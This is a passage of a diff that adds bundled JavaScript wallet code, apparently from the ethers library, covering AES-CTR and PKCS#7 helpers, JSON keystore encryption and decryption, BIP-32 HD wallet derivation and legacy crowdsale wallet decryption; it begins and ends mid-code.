__classPrivateFieldGet(this, _CTR_remaining, "f")[__classPrivateFieldSet(this, _CTR_remainingIndex, (_b = __classPrivateFieldGet(this, _CTR_remainingIndex, "f"), _a = _b++, _b), "f"), _a]; + } + return crypttext; + } + decrypt(ciphertext) { + return this.encrypt(ciphertext); + } +} +_CTR_remaining = new WeakMap(), _CTR_remainingIndex = new WeakMap(), _CTR_counter = new WeakMap(); + +function pkcs7Strip(data) { + if (data.length < 16) { + throw new TypeError('PKCS#7 invalid length'); + } + const padder = data[data.length - 1]; + if (padder > 16) { + throw new TypeError('PKCS#7 padding byte out of range'); + } + const length = data.length - padder; + for (let i = 0; i < padder; i++) { + if (data[length + i] !== padder) { + throw new TypeError('PKCS#7 invalid padding byte'); + } + } + return new Uint8Array(data.subarray(0, length)); +} + +/** + * @_ignore + */ +function looseArrayify(hexString) { + if (typeof (hexString) === "string" && !hexString.startsWith("0x")) { + hexString = "0x" + hexString; + } + return getBytesCopy(hexString); +} +function zpad$1(value, length) { + value = String(value); + while (value.length < length) { + value = '0' + value; + } + return value; +} +function getPassword(password) { + if (typeof (password) === 'string') { + return toUtf8Bytes(password, "NFKC"); + } + return getBytesCopy(password); +} +function spelunk(object, _path) { + const match = _path.match(/^([a-z0-9$_.-]*)(:([a-z]+))?(!)?$/i); + assertArgument(match != null, "invalid path", "path", _path); + const path = match[1]; + const type = match[3]; + const reqd = (match[4] === "!"); + let cur = object; + for (const comp of path.toLowerCase().split('.')) { + // Search for a child object with a case-insensitive matching key + if (Array.isArray(cur)) { + if (!comp.match(/^[0-9]+$/)) { + break; + } + cur = cur[parseInt(comp)]; + } + else if (typeof (cur) === "object") { + let found = null; + for (const key in cur) { + if (key.toLowerCase() === comp) { + found = cur[key]; + break; + } + } + cur = found; + } + else { + cur = null; + } + if (cur == null) { + break; + } + } + assertArgument(!reqd || cur != null, "missing required value", "path", path); + if (type && cur != null) { + if (type === "int") { + if (typeof (cur) === "string" && cur.match(/^-?[0-9]+$/)) { + return parseInt(cur); + } + else if (Number.isSafeInteger(cur)) { + return cur; + } + } + if (type === "number") { + if (typeof (cur) === "string" && cur.match(/^-?[0-9.]*$/)) { + return parseFloat(cur); + } + } + if (type === "data") { + if (typeof (cur) === "string") { + return looseArrayify(cur); + } + } + if (type === "array" && Array.isArray(cur)) { + return cur; + } + if (type === typeof (cur)) { + return cur; + } + assertArgument(false, `wrong type found for ${type} `, "path", path); + } + return cur; +} +/* +export function follow(object: any, path: string): null | string { + let currentChild = object; + + for (const comp of path.toLowerCase().split('/')) { + + // Search for a child object with a case-insensitive matching key + let matchingChild = null; + for (const key in currentChild) { + if (key.toLowerCase() === comp) { + matchingChild = currentChild[key]; + break; + } + } + + if (matchingChild === null) { return null; } + + currentChild = matchingChild; + } + + return currentChild; +} + +// "path/to/something:type!" +export function followRequired(data: any, path: string): string { + const value = follow(data, path); + if (value != null) { return value; } + return logger.throwArgumentError("invalid value", `data:${ path }`, + JSON.stringify(data)); +} +*/ +// See: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) +/* +export function uuidV4(randomBytes: BytesLike): string { + const bytes = getBytes(randomBytes, "randomBytes"); + + // Section: 4.1.3: + // - time_hi_and_version[12:16] = 0b0100 + bytes[6] = (bytes[6] & 0x0f) | 0x40; + + // Section 4.4 + // - clock_seq_hi_and_reserved[6] = 0b0 + // - clock_seq_hi_and_reserved[7] = 0b1 + bytes[8] = (bytes[8] & 0x3f) | 0x80; + + const value = hexlify(bytes); + + return [ + value.substring(2, 10), + value.substring(10, 14), + value.substring(14, 18), + value.substring(18, 22), + value.substring(22, 34), + ].join("-"); +} +*/ + +/** + * The JSON Wallet formats allow a simple way to store the private + * keys needed in Ethereum along with related information and allows + * for extensible forms of encryption. + * + * These utilities facilitate decrypting and encrypting the most common + * JSON Wallet formats. + * + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ +const defaultPath$1 = "m/44'/60'/0'/0/0"; +/** + * Returns true if %%json%% is a valid JSON Keystore Wallet. + */ +function isKeystoreJson(json) { + try { + const data = JSON.parse(json); + const version = ((data.version != null) ? parseInt(data.version) : 0); + if (version === 3) { + return true; + } + } + catch (error) { } + return false; +} +function decrypt(data, key, ciphertext) { + const cipher = spelunk(data, "crypto.cipher:string"); + if (cipher === "aes-128-ctr") { + const iv = spelunk(data, "crypto.cipherparams.iv:data!"); + const aesCtr = new CTR(key, iv); + return hexlify(aesCtr.decrypt(ciphertext)); + } + assert(false, "unsupported cipher", "UNSUPPORTED_OPERATION", { + operation: "decrypt" + }); +} +function getAccount(data, _key) { + const key = getBytes(_key); + const ciphertext = spelunk(data, "crypto.ciphertext:data!"); + const computedMAC = hexlify(keccak256(concat([key.slice(16, 32), ciphertext]))).substring(2); + assertArgument(computedMAC === spelunk(data, "crypto.mac:string!").toLowerCase(), "incorrect password", "password", "[ REDACTED ]"); + const privateKey = decrypt(data, key.slice(0, 16), ciphertext); + const address = computeAddress(privateKey); + if (data.address) { + let check = data.address.toLowerCase(); + if (!check.startsWith("0x")) { + check = "0x" + check; + } + assertArgument(getAddress(check) === address, "keystore address/privateKey mismatch", "address", data.address); + } + const account = { address, privateKey }; + // Version 0.1 x-ethers metadata must contain an encrypted mnemonic phrase + const version = spelunk(data, "x-ethers.version:string"); + if (version === "0.1") { + const mnemonicKey = key.slice(32, 64); + const mnemonicCiphertext = spelunk(data, "x-ethers.mnemonicCiphertext:data!"); + const mnemonicIv = spelunk(data, "x-ethers.mnemonicCounter:data!"); + const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv); + account.mnemonic = { + path: (spelunk(data, "x-ethers.path:string") || defaultPath$1), + locale: (spelunk(data, "x-ethers.locale:string") || "en"), + entropy: hexlify(getBytes(mnemonicAesCtr.decrypt(mnemonicCiphertext))) + }; + } + return account; +} +function getDecryptKdfParams(data) { + const kdf = spelunk(data, "crypto.kdf:string"); + if (kdf && typeof (kdf) === "string") { + if (kdf.toLowerCase() === "scrypt") { + const salt = spelunk(data, "crypto.kdfparams.salt:data!"); + const N = spelunk(data, "crypto.kdfparams.n:int!"); + const r = spelunk(data, "crypto.kdfparams.r:int!"); + const p = spelunk(data, "crypto.kdfparams.p:int!"); + // Make sure N is a power of 2 + assertArgument(N > 0 && (N & (N - 1)) === 0, "invalid kdf.N", "kdf.N", N); + assertArgument(r > 0 && p > 0, "invalid kdf", "kdf", kdf); + const dkLen = spelunk(data, "crypto.kdfparams.dklen:int!"); + assertArgument(dkLen === 32, "invalid kdf.dklen", "kdf.dflen", dkLen); + return { name: "scrypt", salt, N, r, p, dkLen: 64 }; + } + else if (kdf.toLowerCase() === "pbkdf2") { + const salt = spelunk(data, "crypto.kdfparams.salt:data!"); + const prf = spelunk(data, "crypto.kdfparams.prf:string!"); + const algorithm = prf.split("-").pop(); + assertArgument(algorithm === "sha256" || algorithm === "sha512", "invalid kdf.pdf", "kdf.pdf", prf); + const count = spelunk(data, "crypto.kdfparams.c:int!"); + const dkLen = spelunk(data, "crypto.kdfparams.dklen:int!"); + assertArgument(dkLen === 32, "invalid kdf.dklen", "kdf.dklen", dkLen); + return { name: "pbkdf2", salt, count, dkLen, algorithm }; + } + } + assertArgument(false, "unsupported key-derivation function", "kdf", kdf); +} +/** + * Returns the account details for the JSON Keystore Wallet %%json%% + * using %%password%%. + * + * It is preferred to use the [async version](decryptKeystoreJson) + * instead, which allows a [[ProgressCallback]] to keep the user informed + * as to the decryption status. + * + * This method will block the event loop (freezing all UI) until decryption + * is complete, which can take quite some time, depending on the wallet + * paramters and platform. + */ +function decryptKeystoreJsonSync(json, _password) { + const data = JSON.parse(json); + const password = getPassword(_password); + const params = getDecryptKdfParams(data); + if (params.name === "pbkdf2") { + const { salt, count, dkLen, algorithm } = params; + const key = pbkdf2(password, salt, count, dkLen, algorithm); + return getAccount(data, key); + } + assert(params.name === "scrypt", "cannot be reached", "UNKNOWN_ERROR", { params }); + const { salt, N, r, p, dkLen } = params; + const key = scryptSync(password, salt, N, r, p, dkLen); + return getAccount(data, key); +} +function stall$1(duration) { + return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); }); +} +/** + * Resolves to the decrypted JSON Keystore Wallet %%json%% using the + * %%password%%. + * + * If provided, %%progress%% will be called periodically during the + * decrpytion to provide feedback, and if the function returns + * ``false`` will halt decryption. + * + * The %%progressCallback%% will **always** receive ``0`` before + * decryption begins and ``1`` when complete. + */ +async function decryptKeystoreJson(json, _password, progress) { + const data = JSON.parse(json); + const password = getPassword(_password); + const params = getDecryptKdfParams(data); + if (params.name === "pbkdf2") { + if (progress) { + progress(0); + await stall$1(0); + } + const { salt, count, dkLen, algorithm } = params; + const key = pbkdf2(password, salt, count, dkLen, algorithm); + if (progress) { + progress(1); + await stall$1(0); + } + return getAccount(data, key); + } + assert(params.name === "scrypt", "cannot be reached", "UNKNOWN_ERROR", { params }); + const { salt, N, r, p, dkLen } = params; + const key = await scrypt(password, salt, N, r, p, dkLen, progress); + return getAccount(data, key); +} +function getEncryptKdfParams(options) { + // Check/generate the salt + const salt = (options.salt != null) ? getBytes(options.salt, "options.salt") : randomBytes(32); + // Override the scrypt password-based key derivation function parameters + let N = (1 << 17), r = 8, p = 1; + if (options.scrypt) { + if (options.scrypt.N) { + N = options.scrypt.N; + } + if (options.scrypt.r) { + r = options.scrypt.r; + } + if (options.scrypt.p) { + p = options.scrypt.p; + } + } + assertArgument(typeof (N) === "number" && N > 0 && Number.isSafeInteger(N) && (BigInt(N) & BigInt(N - 1)) === BigInt(0), "invalid scrypt N parameter", "options.N", N); + assertArgument(typeof (r) === "number" && r > 0 && Number.isSafeInteger(r), "invalid scrypt r parameter", "options.r", r); + assertArgument(typeof (p) === "number" && p > 0 && Number.isSafeInteger(p), "invalid scrypt p parameter", "options.p", p); + return { name: "scrypt", dkLen: 32, salt, N, r, p }; +} +function _encryptKeystore(key, kdf, account, options) { + const privateKey = getBytes(account.privateKey, "privateKey"); + // Override initialization vector + const iv = (options.iv != null) ? getBytes(options.iv, "options.iv") : randomBytes(16); + assertArgument(iv.length === 16, "invalid options.iv length", "options.iv", options.iv); + // Override the uuid + const uuidRandom = (options.uuid != null) ? getBytes(options.uuid, "options.uuid") : randomBytes(16); + assertArgument(uuidRandom.length === 16, "invalid options.uuid length", "options.uuid", options.iv); + // This will be used to encrypt the wallet (as per Web3 secret storage) + // - 32 bytes As normal for the Web3 secret storage (derivedKey, macPrefix) + // - 32 bytes AES key to encrypt mnemonic with (required here to be Ethers Wallet) + const derivedKey = key.slice(0, 16); + const macPrefix = key.slice(16, 32); + // Encrypt the private key + const aesCtr = new CTR(derivedKey, iv); + const ciphertext = getBytes(aesCtr.encrypt(privateKey)); + // Compute the message authentication code, used to check the password + const mac = keccak256(concat([macPrefix, ciphertext])); + // See: https://github.com/ethereum/wiki/wiki/Web3-Secret-Storage-Definition + const data = { + address: account.address.substring(2).toLowerCase(), + id: uuidV4(uuidRandom), + version: 3, + Crypto: { + cipher: "aes-128-ctr", + cipherparams: { + iv: hexlify(iv).substring(2), + }, + ciphertext: hexlify(ciphertext).substring(2), + kdf: "scrypt", + kdfparams: { + salt: hexlify(kdf.salt).substring(2), + n: kdf.N, + dklen: 32, + p: kdf.p, + r: kdf.r + }, + mac: mac.substring(2) + } + }; + // If we have a mnemonic, encrypt it into the JSON wallet + if (account.mnemonic) { + const client = (options.client != null) ? options.client : `ethers/${version}`; + const path = account.mnemonic.path || defaultPath$1; + const locale = account.mnemonic.locale || "en"; + const mnemonicKey = key.slice(32, 64); + const entropy = getBytes(account.mnemonic.entropy, "account.mnemonic.entropy"); + const mnemonicIv = randomBytes(16); + const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv); + const mnemonicCiphertext = getBytes(mnemonicAesCtr.encrypt(entropy)); + const now = new Date(); + const timestamp = (now.getUTCFullYear() + "-" + + zpad$1(now.getUTCMonth() + 1, 2) + "-" + + zpad$1(now.getUTCDate(), 2) + "T" + + zpad$1(now.getUTCHours(), 2) + "-" + + zpad$1(now.getUTCMinutes(), 2) + "-" + + zpad$1(now.getUTCSeconds(), 2) + ".0Z"); + const gethFilename = ("UTC--" + timestamp + "--" + data.address); + data["x-ethers"] = { + client, gethFilename, path, locale, + mnemonicCounter: hexlify(mnemonicIv).substring(2), + mnemonicCiphertext: hexlify(mnemonicCiphertext).substring(2), + version: "0.1" + }; + } + return JSON.stringify(data); +} +/** + * Return the JSON Keystore Wallet for %%account%% encrypted with + * %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used. Any provided [[ProgressCallback]] is ignord. + */ +function encryptKeystoreJsonSync(account, password, options) { + if (options == null) { + options = {}; + } + const passwordBytes = getPassword(password); + const kdf = getEncryptKdfParams(options); + const key = scryptSync(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64); + return _encryptKeystore(getBytes(key), kdf, account, options); +} +/** + * Resolved to the JSON Keystore Wallet for %%account%% encrypted + * with %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used and provide a [[ProgressCallback]] to receive periodic updates + * on the completion status.. + */ +async function encryptKeystoreJson(account, password, options) { + if (options == null) { + options = {}; + } + const passwordBytes = getPassword(password); + const kdf = getEncryptKdfParams(options); + const key = await scrypt(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64, options.progressCallback); + return _encryptKeystore(getBytes(key), kdf, account, options); +} + +/** + * Explain HD Wallets.. + * + * @_subsection: api/wallet:HD Wallets [hd-wallets] + */ +/** + * The default derivation path for Ethereum HD Nodes. (i.e. ``"m/44'/60'/0'/0/0"``) + */ +const defaultPath = "m/44'/60'/0'/0/0"; +// "Bitcoin seed" +const MasterSecret = new Uint8Array([66, 105, 116, 99, 111, 105, 110, 32, 115, 101, 101, 100]); +const HardenedBit = 0x80000000; +const N = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); +const Nibbles = "0123456789abcdef"; +function zpad(value, length) { + let result = ""; + while (value) { + result = Nibbles[value % 16] + result; + value = Math.trunc(value / 16); + } + while (result.length < length * 2) { + result = "0" + result; + } + return "0x" + result; +} +function encodeBase58Check(_value) { + const value = getBytes(_value); + const check = dataSlice(sha256(sha256(value)), 0, 4); + const bytes = concat([value, check]); + return encodeBase58(bytes); +} +const _guard = {}; +function ser_I(index, chainCode, publicKey, privateKey) { + const data = new Uint8Array(37); + if (index & HardenedBit) { + assert(privateKey != null, "cannot derive child of neutered node", "UNSUPPORTED_OPERATION", { + operation: "deriveChild" + }); + // Data = 0x00 || ser_256(k_par) + data.set(getBytes(privateKey), 1); + } + else { + // Data = ser_p(point(k_par)) + data.set(getBytes(publicKey)); + } + // Data += ser_32(i) + for (let i = 24; i >= 0; i -= 8) { + data[33 + (i >> 3)] = ((index >> (24 - i)) & 0xff); + } + const I = getBytes(computeHmac("sha512", chainCode, data)); + return { IL: I.slice(0, 32), IR: I.slice(32) }; +} +function derivePath(node, path) { + const components = path.split("/"); + assertArgument(components.length > 0, "invalid path", "path", path); + if (components[0] === "m") { + assertArgument(node.depth === 0, `cannot derive root path (i.e. path starting with "m/") for a node at non-zero depth ${node.depth}`, "path", path); + components.shift(); + } + let result = node; + for (let i = 0; i < components.length; i++) { + const component = components[i]; + if (component.match(/^[0-9]+'$/)) { + const index = parseInt(component.substring(0, component.length - 1)); + assertArgument(index < HardenedBit, "invalid path index", `path[${i}]`, component); + result = result.deriveChild(HardenedBit + index); + } + else if (component.match(/^[0-9]+$/)) { + const index = parseInt(component); + assertArgument(index < HardenedBit, "invalid path index", `path[${i}]`, component); + result = result.deriveChild(index); + } + else { + assertArgument(false, "invalid path component", `path[${i}]`, component); + } + } + return result; +} +/** + * An **HDNodeWallet** is a [[Signer]] backed by the private key derived + * from an HD Node using the [[link-bip-32]] stantard. + * + * An HD Node forms a hierarchal structure with each HD Node having a + * private key and the ability to derive child HD Nodes, defined by + * a path indicating the index of each child. + */ +class HDNodeWallet extends BaseWallet { + /** + * The compressed public key. + */ + publicKey; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + fingerprint; + /** + * The parent fingerprint. + */ + parentFingerprint; + /** + * The mnemonic used to create this HD Node, if available. + * + * Sources such as extended keys do not encode the mnemonic, in + * which case this will be ``null``. + */ + mnemonic; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + chainCode; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provide full path details, this + * may be ``null``, if instantiated from a source that does not + * encode it. + */ + path; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + index; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + depth; + /** + * @private + */ + constructor(guard, signingKey, parentFingerprint, chainCode, path, index, depth, mnemonic, provider) { + super(signingKey, provider); + assertPrivate(guard, _guard, "HDNodeWallet"); + defineProperties(this, { publicKey: signingKey.compressedPublicKey }); + const fingerprint = dataSlice(ripemd160(sha256(this.publicKey)), 0, 4); + defineProperties(this, { + parentFingerprint, fingerprint, + chainCode, path, index, depth + }); + defineProperties(this, { mnemonic }); + } + connect(provider) { + return new HDNodeWallet(_guard, this.signingKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.mnemonic, provider); + } + #account() { + const account = { address: this.address, privateKey: this.privateKey }; + const m = this.mnemonic; + if (this.path && m && m.wordlist.locale === "en" && m.password === "") { + account.mnemonic = { + path: this.path, + locale: "en", + entropy: m.entropy + }; + } + return account; + } + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + async encrypt(password, progressCallback) { + return await encryptKeystoreJson(this.#account(), password, { progressCallback }); + } + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password) { + return encryptKeystoreJsonSync(this.#account(), password); + } + /** + * The extended key. + * + * This key will begin with the prefix ``xpriv`` and can be used to + * reconstruct this HD Node to derive its children. + */ + get extendedKey() { + // We only support the mainnet values for now, but if anyone needs + // testnet values, let me know. I believe current sentiment is that + // we should always use mainnet, and use BIP-44 to derive the network + // - Mainnet: public=0x0488B21E, private=0x0488ADE4 + // - Testnet: public=0x043587CF, private=0x04358394 + assert(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }); + return encodeBase58Check(concat([ + "0x0488ADE4", zpad(this.depth, 1), this.parentFingerprint, + zpad(this.index, 4), this.chainCode, + concat(["0x00", this.privateKey]) + ])); + } + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath() { return (this.path != null); } + /** + * Returns a neutered HD Node, which removes the private details + * of an HD Node. + * + * A neutered node has no private key, but can be used to derive + * child addresses and other public data about the HD Node. + */ + neuter() { + return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.provider); + } + /** + * Return the child for %%index%%. + */ + deriveChild(_index) { + const index = getNumber(_index, "index"); + assertArgument(index <= 0xffffffff, "invalid index", "index", index); + // Base path + let path = this.path; + if (path) { + path += "/" + (index & ~HardenedBit); + if (index & HardenedBit) { + path += "'"; + } + } + const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, this.privateKey); + const ki = new SigningKey(toBeHex((toBigInt(IL) + BigInt(this.privateKey)) % N, 32)); + return new HDNodeWallet(_guard, ki, this.fingerprint, hexlify(IR), path, index, this.depth + 1, this.mnemonic, this.provider); + } + /** + * Return the HDNode for %%path%% from this node. + */ + derivePath(path) { + return derivePath(this, path); + } + static #fromSeed(_seed, mnemonic) { + assertArgument(isBytesLike(_seed), "invalid seed", "seed", "[REDACTED]"); + const seed = getBytes(_seed, "seed"); + assertArgument(seed.length >= 16 && seed.length <= 64, "invalid seed", "seed", "[REDACTED]"); + const I = getBytes(computeHmac("sha512", MasterSecret, seed)); + const signingKey = new SigningKey(hexlify(I.slice(0, 32))); + return new HDNodeWallet(_guard, signingKey, "0x00000000", hexlify(I.slice(32)), "m", 0, 0, mnemonic, null); + } + /** + * Creates a new HD Node from %%extendedKey%%. + * + * If the %%extendedKey%% will either have a prefix or ``xpub`` or + * ``xpriv``, returning a neutered HD Node ([[HDNodeVoidWallet]]) + * or full HD Node ([[HDNodeWallet) respectively. + */ + static fromExtendedKey(extendedKey) { + const bytes = toBeArray(decodeBase58(extendedKey)); // @TODO: redact + assertArgument(bytes.length === 82 || encodeBase58Check(bytes.slice(0, 78)) === extendedKey, "invalid extended key", "extendedKey", "[ REDACTED ]"); + const depth = bytes[4]; + const parentFingerprint = hexlify(bytes.slice(5, 9)); + const index = parseInt(hexlify(bytes.slice(9, 13)).substring(2), 16); + const chainCode = hexlify(bytes.slice(13, 45)); + const key = bytes.slice(45, 78); + switch (hexlify(bytes.slice(0, 4))) { + // Public Key + case "0x0488b21e": + case "0x043587cf": { + const publicKey = hexlify(key); + return new HDNodeVoidWallet(_guard, computeAddress(publicKey), publicKey, parentFingerprint, chainCode, null, index, depth, null); + } + // Private Key + case "0x0488ade4": + case "0x04358394 ": + if (key[0] !== 0) { + break; + } + return new HDNodeWallet(_guard, new SigningKey(key.slice(1)), parentFingerprint, chainCode, null, index, depth, null, null); + } + assertArgument(false, "invalid extended key prefix", "extendedKey", "[ REDACTED ]"); + } + /** + * Creates a new random HDNode. + */ + static createRandom(password, path, wordlist) { + if (password == null) { + password = ""; + } + if (path == null) { + path = defaultPath; + } + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const mnemonic = Mnemonic.fromEntropy(randomBytes(16), password, wordlist); + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Create an HD Node from %%mnemonic%%. + */ + static fromMnemonic(mnemonic, path) { + if (!path) { + path = defaultPath; + } + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Creates an HD Node from a mnemonic %%phrase%%. + */ + static fromPhrase(phrase, password, path, wordlist) { + if (password == null) { + password = ""; + } + if (path == null) { + path = defaultPath; + } + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const mnemonic = Mnemonic.fromPhrase(phrase, password, wordlist); + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Creates an HD Node from a %%seed%%. + */ + static fromSeed(seed) { + return HDNodeWallet.#fromSeed(seed, null); + } +} +/** + * A **HDNodeVoidWallet** cannot sign, but provides access to + * the children nodes of a [[link-bip-32]] HD wallet addresses. + * + * The can be created by using an extended ``xpub`` key to + * [[HDNodeWallet_fromExtendedKey]] or by + * [nuetering](HDNodeWallet-neuter) a [[HDNodeWallet]]. + */ +class HDNodeVoidWallet extends VoidSigner { + /** + * The compressed public key. + */ + publicKey; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + fingerprint; + /** + * The parent node fingerprint. + */ + parentFingerprint; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + chainCode; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provider full path details, this + * may be ``null``, if instantiated from a source that does not + * enocde it. + */ + path; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + index; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + depth; + /** + * @private + */ + constructor(guard, address, publicKey, parentFingerprint, chainCode, path, index, depth, provider) { + super(address, provider); + assertPrivate(guard, _guard, "HDNodeVoidWallet"); + defineProperties(this, { publicKey }); + const fingerprint = dataSlice(ripemd160(sha256(publicKey)), 0, 4); + defineProperties(this, { + publicKey, fingerprint, parentFingerprint, chainCode, path, index, depth + }); + } + connect(provider) { + return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, provider); + } + /** + * The extended key. + * + * This key will begin with the prefix ``xpub`` and can be used to + * reconstruct this neutered key to derive its children addresses. + */ + get extendedKey() { + // We only support the mainnet values for now, but if anyone needs + // testnet values, let me know. I believe current sentiment is that + // we should always use mainnet, and use BIP-44 to derive the network + // - Mainnet: public=0x0488B21E, private=0x0488ADE4 + // - Testnet: public=0x043587CF, private=0x04358394 + assert(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }); + return encodeBase58Check(concat([ + "0x0488B21E", + zpad(this.depth, 1), + this.parentFingerprint, + zpad(this.index, 4), + this.chainCode, + this.publicKey, + ])); + } + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath() { return (this.path != null); } + /** + * Return the child for %%index%%. + */ + deriveChild(_index) { + const index = getNumber(_index, "index"); + assertArgument(index <= 0xffffffff, "invalid index", "index", index); + // Base path + let path = this.path; + if (path) { + path += "/" + (index & ~HardenedBit); + if (index & HardenedBit) { + path += "'"; + } + } + const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, null); + const Ki = SigningKey.addPoints(IL, this.publicKey, true); + const address = computeAddress(Ki); + return new HDNodeVoidWallet(_guard, address, Ki, this.fingerprint, hexlify(IR), path, index, this.depth + 1, this.provider); + } + /** + * Return the signer for %%path%% from this node. + */ + derivePath(path) { + return derivePath(this, path); + } +} +/* +export class HDNodeWalletManager { + #root: HDNodeWallet; + + constructor(phrase: string, password?: null | string, path?: null | string, locale?: null | Wordlist) { + if (password == null) { password = ""; } + if (path == null) { path = "m/44'/60'/0'/0"; } + if (locale == null) { locale = LangEn.wordlist(); } + this.#root = HDNodeWallet.fromPhrase(phrase, password, path, locale); + } + + getSigner(index?: number): HDNodeWallet { + return this.#root.deriveChild((index == null) ? 0: index); + } +} +*/ +/** + * Returns the [[link-bip-32]] path for the account at %%index%%. + * + * This is the pattern used by wallets like Ledger. + * + * There is also an [alternate pattern](getIndexedAccountPath) used by + * some software. + */ +function getAccountPath(_index) { + const index = getNumber(_index, "index"); + assertArgument(index >= 0 && index < HardenedBit, "invalid account index", "index", index); + return `m/44'/60'/${index}'/0/0`; +} +/** + * Returns the path using an alternative pattern for deriving accounts, + * at %%index%%. + * + * This derivation path uses the //index// component rather than the + * //account// component to derive sequential accounts. + * + * This is the pattern used by wallets like MetaMask. + */ +function getIndexedAccountPath(_index) { + const index = getNumber(_index, "index"); + assertArgument(index >= 0 && index < HardenedBit, "invalid account index", "index", index); + return `m/44'/60'/0'/0/${index}`; +} + +/** + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ +/** + * Returns true if %%json%% is a valid JSON Crowdsale wallet. + */ +function isCrowdsaleJson(json) { + try { + const data = JSON.parse(json); + if (data.encseed) { + return true; + } + } + catch (error) { } + return false; +} +// See: https://github.com/ethereum/pyethsaletool +/** + * Before Ethereum launched, it was necessary to create a wallet + * format for backers to use, which would be used to receive ether + * as a reward for contributing to the project. + * + * The [[link-crowdsale]] format is now obsolete, but it is still + * useful to support and the additional code is fairly trivial as + * all the primitives required are used through core portions of + * the library. + */ +function decryptCrowdsaleJson(json, _password) { + const data = JSON.parse(json); + const password = getPassword(_password); + // Ethereum Address + const address = getAddress(spelunk(data, "ethaddr:string!")); + // Encrypted Seed + const encseed = looseArrayify(spelunk(data, "encseed:string!")); + assertArgument(encseed && (encseed.length % 16) === 0, "invalid encseed", "json", json); + const key = getBytes(pbkdf2(password, password, 2000, 32, "sha256")).slice(0, 16); + const iv = encseed.slice(0, 16); + const encryptedSeed = encseed.slice(16); + // Decrypt the seed + const aesCbc = new CBC(key, iv); + const seed = pkcs7Strip(getBytes(aesCbc.decrypt(encryptedSeed))); + // This wallet format is weird... Convert the binary encoded hex to a string. + let seedHex = ""; + for (let i = 0; i < seed.length; i++) { + seedHex += String.fromCharCode(seed[i]); + } + return { address, privateKey: id(seedHex) }; +} + +function stall(duration) { + return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); }); +} +/** + * A **Wallet** manages a single private key which is used to sign + * transactions, messages and other common payloads. + * + * This class is generally the main entry point for developers + * that wish to use a private key directly, as it can create + * instances from a large variety of common sources, including + * raw private key, [[link-bip-39]] mnemonics and encrypte JSON + * wallets. + */ +class Wallet extends BaseWallet { + /** + * Create a new wallet for the private %%key%%, optionally connected + * to %%provider%%. + */ + constructor(key, provider) { + if (typeof (key) === "string" && !key.startsWith("0x")) { + key = "0x" + key; + } + let signingKey = (typeof (key) === "string") ? new SigningKey(key) : key; + super(signingKey, provider); + } + connect(provider) { + return new Wallet(this.signingKey, provider); + } + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + async encrypt(password, progressCallback) { + const account = { address: this.address, privateKey: this.privateKey }; + return await encryptKeystoreJson(account, password, { progressCallback }); + } + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password) { + const account = { address: this.address, privateKey: this.privateKey }; + return encryptKeystoreJsonSync(account, password); + } + static #fromAccount(account) { + assertArgument(account, "invalid JSON wallet", "json", "[ REDACTED ]"); + if ("mnemonic" in account && account.mnemonic && account.mnemonic.locale === "en") { + const mnemonic = Mnemonic.fromEntropy(account.mnemonic.entropy); + const wallet = HDNodeWallet.fromMnemonic(mnemonic, account.mnemonic.path); + 